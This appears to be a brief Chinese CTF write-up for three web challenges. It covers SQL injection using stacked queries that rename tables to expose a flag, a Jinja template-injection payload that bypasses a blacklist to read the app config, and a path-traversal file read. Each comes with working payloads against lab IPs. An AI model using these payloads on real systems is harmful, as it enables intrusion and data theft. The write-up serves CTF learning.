Web2
输入’发现语法错误
输入’#显示正常,存在sql注入
order by
order by 2正常,order by 3出现错误,所以只有两个字段
联合查询,发现一些关键字被过滤
查询数据库
1’;show databases;#
查询表
1’;show table;#
查看表,发现flag在1919810931114514中
1?inject=1’ and 1=2; desc 1919810931114514;#
1?inject=1’ and 1=2; desc words;#
因为默认回显的是words表,将1919810931114514设置为默认回显的表
http://172.22.57.11:28525/?inject=1’ or 1=1; rename tables words to words1;rename tables 1919810931114514 to words;alter table words change flag id varchar(100);–+
Web3
打开后发现是一串不规则代码,按ctrl+u查看源代码
尝试注入构造payload
/shrine/{{2*3}}
因为源代码中,将小括号替换并将config和self加入黑名单,所以构造payload
{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}
得到flag
Web6
打开看到是一张图片。查看源代码,提示source.php,打开
查看代码,发现hint.php,打开,提示flag
输入http://172.22.57.11:28194/?file=source.php?/…/…/…/…/ffffllllaaaagggg
出现flagps:原理基本都不懂,那些payload都是网上找的。